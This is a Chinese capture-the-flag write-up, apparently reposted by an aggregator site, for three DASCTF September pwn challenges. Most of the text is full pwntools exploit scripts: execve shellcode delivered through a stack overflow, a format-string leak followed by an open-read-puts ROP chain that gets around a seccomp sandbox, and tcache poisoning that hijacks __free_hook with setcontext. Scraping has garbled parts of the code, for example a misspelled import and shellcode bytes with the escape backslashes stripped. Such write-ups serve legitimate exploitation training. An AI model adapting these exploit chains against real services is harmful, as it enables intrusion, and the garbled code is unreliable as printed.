【pwn】DASCTF Sept 九月赛

发布时间:2022-07-04 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了【pwn】DASCTF Sept 九月赛脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

【pwn】DASCTF Sept 月赛

1、hehepwn

先查看保护,栈可执行,想到shellcode

这题需要注意shellcode的写法

【pwn】DASCTF Sept 九月赛

拖入ida中分析

【pwn】DASCTF Sept 九月赛

一直以为iso scanf不能栈溢出,后来发现我是shabi

先进入sub_4007F9()函数

【pwn】DASCTF Sept 九月赛

有个read函数,恰好读完s数组,由于PRintf是碰到x00截断,所以如果我们输满0x20个padding就可以读取一个栈地址

我们可以把shellcode写入scanf输入的地址中,通过创建fake ret地址进行rip迁移,而这个栈中存有我们写入的shellcode

我们先调试出scanf的输入地址,然后计算它与leak出来的stack地址的偏移

【pwn】DASCTF Sept 九月赛

【pwn】DASCTF Sept 九月赛

【pwn】DASCTF Sept 九月赛

那么算完了我们开始构建payload(shellcode)

shellcode1 = b"x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
@H_512_54@

部分的可见字符的27字节的shellcode是在shellcode storm中找到的,是我见过最短的execve("/bin/sh")了

这里先填充8字节的padding(rbp),再写入fake rip,覆盖返回地址

或者换用flat写法

shellcode = flat({0:shellcode1, 0x58: stack - 0x50})

exp如下:

From pwn import *
import Sys
from LibcSeArcher import *
context.LOG_level='debug'
context.arch='amd64'

def ret2libc(leak,func,path=''):
    if path == '':
        libc = LibcSearcher(func,leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = path
        libc.address = leak - libc.sym[func]
        system = libc.sym['system']
        binsh = next(libc.search(b'/bin/sh'))
    return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keePEnds=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'x00'))
uu64 = lambda data : u64(data.ljust(8,b'x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : GDB.attach(io)

if len(sys.argv) == 3:
    io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
    if ':' in sys.argv[1]:
        rmt = sys.argv[1].splIT(':')
        io = remote(rmt[0], rmt[1])
    else:
        io = process(sys.argv[1])
        elf = ELF(sys.argv[1])
else:
    io = process('./bypwn')

elf = ELF("./bypwn")

sa(":",b"b"*(0x20-1)+b"a")
ru("a")
stack = uu64(r(6))
leak("stack",stack)
# dbg()
shellcode1 = b"x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)

sla("~",shellcode)
# sla("~",flat({0:shellcode1, 0x58: stack - 0x50}))

ia()

【pwn】DASCTF Sept 九月赛

2、hahapwn

(感谢pwn神师傅niyah的wp和指点!)

这题就是开了沙箱,execve给ban了,不然就是最简单的ret2libc

既然execv给ban了,那么就用Orw

比较坑的就是给的libc版本错误,自己用libcsearcher搜出来是下图版本

【pwn】DASCTF Sept 九月赛

【pwn】DASCTF Sept 九月赛

思路就是用fmt泄露canary和一个栈地址,还有__libc_start_main+240的地址用来泄露libc_base

然后用rop链写一个orw,函数里有puts就不用麻烦的写一个write了 exp来自pwn神师傅的wp

from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'

def ret2libc(leak,func,path=''):
    if path == '':
        libc = LibcSearcher(func,leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = path
        libc.address = leak - libc.sym[func]
        system = libc.sym['system']
        binsh = next(libc.search(b'/bin/sh'))
    return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'x00'))
uu64 = lambda data : u64(data.ljust(8,b'x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

if len(sys.argv) == 3:
    io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
    if ':' in sys.argv[1]:
        rmt = sys.argv[1].split(':')
        io = remote(rmt[0], rmt[1])
    else:
        io = process(sys.argv[1])
        elf = ELF(sys.argv[1])
else:
    io = process('./pwn')

elf = ELF("./pwn")

offset = 6
sa("?","%27$p,%28$p,%39$p")
ru("0x")
canary = i16(ru("00",False))
leak("canary",canary)
ru("0x")
stack = i16(r(12))
leak("stack",stack)
ru("0x")
libc_start_main = i16(r(12)) - 240
leak("libc_start_main",libc_start_main)

# libc = LibcSearcher("read",read_addr)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc.address = libc_start_main - libc.sym["__libc_start_main"]
open_addr = libc.sym["open"]
puts_addr = libc.sym["puts"]
read_addr = libc.sym["read"]
# base = read_addr - libc.dump("read")
# open_addr = base + libc.dump("open")
# puts_addr = base + libc.dump("puts")
# read_addr = base + libc.dump("read")
# dbg()

syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))


flag_addr = stack + 0xb8

orw = flat([
    pop_rdi, flag_addr, pop_rsi, 0, open_addr,
    pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0X100, 0, read_addr,
    pop_rdi, flag_addr, puts_addr
]).ljust(0x100,b"B") + b"flagx00"
# dbg()

payload = b"b"*(0x70-0x8) + p64(canary) + b"bi0xbi0x" + orw

sla("?",payload)  

ia()

简单说一下为什么flag_addr = stack + 0xb8,因为我们后面输入的位置+0x70+0x8+0x100和stack + 0xb8的位置相等,这样我们就可以读取到输入的flag这个地址了

也就是flag_addr = stack + 0xb8这个位置就是我们orw里写的b"flagx00"的位置,这个是动调出来的

自己在本地写了一个臭flag

【pwn】DASCTF Sept 九月赛

3、datasystem

今天破事一堆,先复现了一个exp,是没学过的覆盖free_hook为setcontext+53,从而进行rop的操作,学到了学到了~ 因为开了沙箱,无法执行system和execve,所以常规的free_hook和malloc_hook写入one_gadget是没法用的,用了船新的没见过的setcontext,这几天有时间再去研究细唆!

【pwn】DASCTF Sept 九月赛

setcontext的汇编如下,可以看到能对很多寄存器赋值

【pwn】DASCTF Sept 九月赛

exp来自DASCTF-sept-X-浙江工业大学秋季挑战赛-pwn-wp 也是一个超级厉害的师傅!

from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'

def ret2libc(leak,func,path=''):
    if path == '':
        libc = LibcSearcher(func,leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = path
        libc.address = leak - libc.sym[func]
        system = libc.sym['system']
        binsh = next(libc.search(b'/bin/sh'))
    return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'x00'))
uu64 = lambda data : u64(data.ljust(8,b'x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

if len(sys.argv) == 3:
    io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
    if ':' in sys.argv[1]:
        rmt = sys.argv[1].split(':')
        io = remote(rmt[0], rmt[1])
    else:
        io = process(sys.argv[1])
        elf = ELF(sys.argv[1])
else:
    io = process('./datasystem')

elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")

def getpwd():
    for c in range(0x100):
        c = c.to_bytes(1, 'Big')
        p = process('./datasystem')
        p.sendafter("please input username: ", "adminx00")
        p.sendafter("please input password: ", c*32)
        msg = p.recvline()
        if b"Fail" not in msg:
            print('='*60)
            print("a valid char:", c)
            print('='*60)
            p.close()
            return c*32
        p.close()

def login():
    pwd = getpwd()
    sla("username","adminx00")
    sla("password",pwd)

def add(size,content="a"):
    sla(">>","1")
    sla("Size",str(size))
    sla("Content",content)

def free(index):
    sla(">>","2")
    sla("Index",str(index))

def show(index):
    sla(">>","3")
    sla("Index",str(index))

def edit(index,content):
    sla(">>","4")
    sla("Index",str(index))
    sa("Content",content)

login()

add(0x420) # 0 unsorted bin
add(0x10) # 1

free(0) # get unsorted bin

add(0x8) # 0
edit(0,"b"*7+"x")

show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("x7f",False))-0x3ec090
leak("libc_base",libc_base)

libc.address = libc_base

read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53

ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))


add(0x20) # 2
free(2)
free(0)

payload = b"bi0xbi0x"*2 + p64(0) +  p64(0x311) + p64(free_hook-0x200)
add(0x10,payload) # 0
# dbg()
add(0x20) # 2

payload = flat({
    0x200: setcontext,
    0x100: 0x23330000,
    0xa0: free_hook - 0x100,
    0x68: 0,
    0x70: 0x23330000,
    0x88: 0x200,
    0xa8: read_addr
}, filler="x00")

add(0x20,payload) # 3

free(3)

time.sleep(0.5)

sl(asm(shellcraft.cat("flag")))

ia()

【pwn】DASCTF Sept 九月赛

9.30更新: 又复现了pwn神师傅的exp:

from pwn import *
import sys
from LibcSearcher import *
# context.log_level='debug'
context.arch='amd64'

def ret2libc(leak,func,path=''):
    if path == '':
        libc = LibcSearcher(func,leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = path
        libc.address = leak - libc.sym[func]
        system = libc.sym['system']
        binsh = next(libc.search(b'/bin/sh'))
    return (system,binsh)

s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'x00'))
uu64 = lambda data : u64(data.ljust(8,b'x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)

if len(sys.argv) == 3:
    io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
    if ':' in sys.argv[1]:
        rmt = sys.argv[1].split(':')
        io = remote(rmt[0], rmt[1])
    else:
        io = process(sys.argv[1])
        elf = ELF(sys.argv[1])
else:
    io = process('./datasystem')

elf = ELF("./datasystem")
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")

def getpwd():
    for c in range(0x100):
        c = c.to_bytes(1, 'big')
        p = process('./datasystem')
        p.sendafter("please input username: ", "adminx00")
        p.sendafter("please input password: ", c*32)
        msg = p.recvline()
        if b"Fail" not in msg:
            print('='*60)
            print("a valid char:", c)
            print('='*60)
            p.close()
            return c*32
        p.close()

def login():
    pwd = getpwd()
    sla("username","adminx00")
    sla("password",pwd)

def add(size,content="a"):
    sla(">>","1")
    sla("Size",str(size))
    sla("Content",content)

def free(index):
    sla(">>","2")
    sla("Index",str(index))

def show(index):
    sla(">>","3")
    sla("Index",str(index))

def edit(index,content):
    sla(">>","4")
    sla("Index",str(index))
    sa("Content",content)

login()

add(0x420) # 0 unsorted bin
add(0x10) # 1

free(0) # get unsorted bin

add(0x8) # 0
edit(0,"b"*7+"x")

show(0) # leak libc_base
ru("x")
libc_base = uu64(ru("x7f",False))-0x3ec090
leak("libc_base",libc_base)

libc.address = libc_base

read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym['setcontext'] + 53

ret = next(libc.search(asm('ret')))
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))

add(0x20) # 2
free(2)
free(0)

payload = b"bi0xbi0x"*2 + p64(0) +  p64(0x301) + p64(free_hook)
add(0x10,payload) # 0
# dbg()
add(0x20)
# dbg()

flag_addr = free_hook + 0x150

# orw
orw = flat(
    pop_rdi , flag_addr , pop_rsi , 0 , open_addr,
    pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx__rbx_ret , 0x100 , 0 , read_addr,
    pop_rdi , flag_addr , puts_addr
)

# print(hex(len(orw)))
# free_hook改为setcontext+53,然后将setcontex+0xa0的位置改为orw的位置,将+0xa8的位置改为ret的地址
payload = p64(setcontext) + orw + p64(0)*3 + p64(free_hook+8) + p64(ret)
# print(hex(len(payload)))
add(0x20,payload.ljust(0x150,b"x00") + b"flagx00")
# dbg()
free(3)

ia()

脚本宝典总结

以上是脚本宝典为你收集整理的【pwn】DASCTF Sept 九月赛全部内容,希望文章能够帮你解决【pwn】DASCTF Sept 九月赛所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。